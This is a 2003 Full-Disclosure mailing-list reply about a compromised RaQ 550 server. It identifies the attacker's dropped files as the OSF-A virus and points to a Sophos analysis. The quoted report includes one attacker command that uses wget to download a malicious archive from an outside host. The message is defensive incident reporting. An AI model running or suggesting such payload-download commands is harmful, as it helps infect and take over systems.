[Full-Disclosure] raq 550 compromised

Bojan Zdrnja Bojan.Zdrnja at LSS.hr
Tue Oct 7 08:33:47 BST 2003


> -----Original Message-----
> From: full-disclosure-admin at lists.netsys.com 
> [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of 
> adf--at--Code511.com
> Sent: Tuesday, 7 October 2003 2:37 p.m.
> To: full-disclosure at lists.netsys.com
> Subject: [Full-Disclosure] raq 550 compromised
> 
> -wget www.ps-lov.us/pizda.tgz
> :unknown binaries (yet?) named "mumu"

Sophos recognizes this as OSF-A virus.

You can find more info at:

http://www.sophos.com/virusinfo/analyses/linuxosfa.html


Regards,

Bojan Zdrnja




Full-Disclosure is hosted and sponsored by Secunia.